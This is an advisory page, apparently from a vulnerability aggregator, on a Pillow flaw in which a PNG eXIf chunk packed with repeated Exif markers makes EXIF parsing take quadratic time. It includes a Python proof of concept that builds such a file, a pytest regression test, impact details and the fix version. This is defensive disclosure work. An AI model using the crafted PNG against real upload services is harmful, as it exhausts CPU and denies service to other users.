Medium

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

  • Disclosed: 21.10.2026
  • Updated: 29.10.2026 12:17

The source advisory has changed since this explanation was prepared. Check the current technical data and original advisory below.

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

Details

Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

python
  while data and data.startswith(b"Exif\x00\x00"):
      data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

Steps to reproduce

This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

python
  import time
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  marker = b"Exif\x00\x00"
  exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
  data = MAGIC + IHDR + exif_chunk + IDAT + IEND

  start = time.time()
  with Image.open(BytesIO(data)) as im:
      im.getexif()
  print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. Profiling confirms this time is spent inside the strip loop itself, not somewhere else. Testing across sizes (200KB, 600KB, 1.2MB, 1.8MB) matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, fails with Failed: Timeout (>2.0s) from pytest-timeout:

python
  import pytest
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  @pytest.mark.timeout(2)
  def test_exif_load_is_not_quadratic():
      marker = b"Exif\x00\x00"
      exif_chunk = chunk(b"eXIf", marker * 300_000)
      data = MAGIC + IHDR + exif_chunk + IDAT + IEND
      with Image.open(BytesIO(data)) as im:
          im.getexif()

Impact

  • Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request. A bigger file scales worse, since the cost is quadratic, not linear.
  • Confidentiality: none.
  • Integrity: none.
  • This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

What to do

Upgrade Pillow to version 13.0.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow >= 11.0.0, < 13.0.0 13.0.0

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-407
Platform
Python (PyPI)
Package
pillow
Disclosed
21.10.2026
Updated
29.10.2026 12:17

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - PYSEC-2026-4342 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-g4qv-2jxx-769h - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
04.2014 11.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 14
  • High 63
  • Medium 27
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

earlier: 12

Severity:
  1. Critical · 9.8 CVE-2026-96639 >= 11.0.0, < 13.0.0 13.0.0
  2. Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time this entry
    Medium · 6.5 CVE-2026-96643 >= 11.0.0, < 13.0.0 13.0.0
  3. High CVE-2026-112892 >= 4.1.0, < 13.0.0 13.0.0
  4. High CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  5. High CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  6. Critical CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  7. High · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  8. Critical · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  9. High · 7.5 CVE-2026-112397 < 13.0.0 13.0.0
  10. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  11. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  12. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  13. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  14. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  15. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  16. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  17. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  18. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  19. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  20. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  21. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  22. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  23. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  24. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  25. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  26. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  27. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  28. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  29. High · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  30. High · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  31. High · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  32. Critical · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  33. High · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  34. High · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  35. High · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  36. High · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  37. High · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  38. Critical · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  39. High · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  40. High · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  41. High · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  42. High · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  43. Critical · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  44. Critical · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
  45. Critical · 8.8 CVE-2020-5310 < 6.2.2 6.2.2
  46. High · 6.5 CVE-2016-2533 < 3.1.1 3.1.1
  47. Critical · 9.8 CVE-2016-4009 < 3.1.1 3.1.1
  48. High · 6.5 CVE-2016-0775 < 3.1.1 3.1.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.